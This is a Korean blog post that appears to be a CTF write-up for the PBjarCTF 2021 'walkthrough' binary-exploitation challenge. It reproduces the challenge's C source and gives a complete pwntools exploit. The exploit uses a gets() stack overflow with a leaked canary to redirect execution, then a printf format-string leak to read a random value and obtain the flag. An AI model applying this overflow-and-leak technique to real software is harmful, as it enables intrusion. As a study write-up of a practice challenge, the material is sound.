본문 바로가기

[PBjarCTF 2021] PWN - walkthrough 본문

CTF

[PBjarCTF 2021] PWN - walkthrough

Seongjun_You 2021. 10. 10. 21:20

사진으로 남겨둔게 없어서

일단 코드부터 보겠음

그냥 연습문제라는데

ROP, FSB 둘다 해야함

void rop(){
	char buf[0x40];
	gets(buf); //here is the overflow vuln, rest is info
	puts("");
	stkstrt();
	stk(buf, 0x0, "(buf strt)");
	for(int i = 0x1; i < 0x7; i++) stk(buf, i, "");
	stk(buf, 0x7, "(buf end)");
	
	stk(buf, 0x8, "");
	stk(buf, 0x9, "(canary)");
	stk(buf, 0xa, "(rop func base ptr)");
	stk(buf, 0xb, "(rop func return ptr)");
	stk(buf, 0xc, "(main func base ptr)");
	stk(buf, 0xd, "(main func return ptr)");

	stk(buf, 0xe, "(stack continues below with stuff we don't care abt)");
	for(int i = 0xf; i < 0x18; i++) stk(buf, i, "");

	stkend();

}

첫번째 관문임

근데 스택 상황을 알려줘서 어렵지 않았음

카나리가 적용되어있지만 그것도 알려줌

payload = dummy(72) + canary(8) + dummy(8) + fmtstr함수 주소

 

이렇게 성공하면 fmtstr 함수로 넘어감

 

void fmtstr(){
	long num[0x8];
	char buf[0x20];
	num[0x0] = 0x31415926535;
	num[0x1] = 0x696969696969;
	num[0x2] = 0x420420420420;
	num[0x3] = 0x0;
	num[0x4] = 0x0;
	num[0x5] = 0xdeadbeef;
	num[0x6] = 0x133713371337;
	num[0x7] = 0x123456789abc;

	divide();
	stkstrt();

	stk(num, 0x0, "(num start)");
	for(int i = 0x1; i < 0x3; i++) stk(num, i, "");
	stk(num, 0x3, "(where guess value will be)");
	stk(num, 0x4, "(where random value will be)");
	for(int i = 0x5; i < 0x7; i++) stk(num, i, "");
	stk(num, 0x7, "(num end)");

	stk(num, 0x8, "(buf start)");
	for(int i = 0x9; i < 0xb; i++) stk(num, i, "");
	stk(num, 0xb, "(buf end)");

	stk(num, 0xc, "");
	stk(num, 0xd, "(canary)");
	stk(num, 0xe, "(fmtstr base ptr, messed up from rop)");
	stk(num, 0xf, "(fmtstr return adr, useless since exit func called at end of this function)");
	stk(num, 0x10, "(stuff below is useless now)");
	for(int i = 0x11; i < 0x18; i++) stk(num, i, "");

	stkend();
	num[0x4] = rand();

	dashdiv();
	scanf("%31s", buf);
	printf(buf); //here is format string vuln, rest is info
	puts("\n");

	scanf("%lld", &num[0x3]);
	dashdiv();
	puts("");

	if(num[0x3] == num[0x4]){
		puts("You beat rng!\n");

		FILE *f = fopen("flag.txt","r");
		if(f == NULL){
			puts("If you are running locally, you need to create a file called 'flag.txt' in the running progam's directory.");
			puts("Otherwise, something is wrong. Please contact the author on discord.");
			exit(1);
		}

		fgets(buf, 0x20, f);

		puts("After all that program manipulation, here's the flag:");
		puts(buf);
	}else{
		puts("You failed baka.");
	}

	exit(0);
}

두번째 관문은 FSB

이것도 그냥 스택 상황 알려줘서 편했음

num[0x4]값을 leak해서 입력하면 끝남

 

 

exploit code

from pwn import *
p = remote("147.182.172.217",42001)
e = ELF('./walkthrough')
context.log_level='debug'
p.recvuntil('later): ')
canary = int(p.recvline(keepends = False), 16)
p.sendline(b'a' * 72 + p64(canary) + b'a' * 8 + p64(e.sym['fmtstr'] + 1))

p.sendline('%p'*14)
p.recvuntil('420420(nil)')
buff = int(p.recv(10),16)
p.sendline(str(buff))
p.interactive()

결론: 생각보다 친절한 문제이다.

'CTF' 카테고리의 다른 글

DIMICTF 2017 - dimi-farm  (0) 2021.10.29
[PBjarCTF 2021] PWN - fmtstr  (0) 2021.10.10
DIMICTF 2017 - ropsaurusrex2  (0) 2021.10.10
DIMICTF 2017 - ezshellcode  (0) 2021.10.09
DIMICTF 2017 - ezheap  (0) 2021.10.08
Comments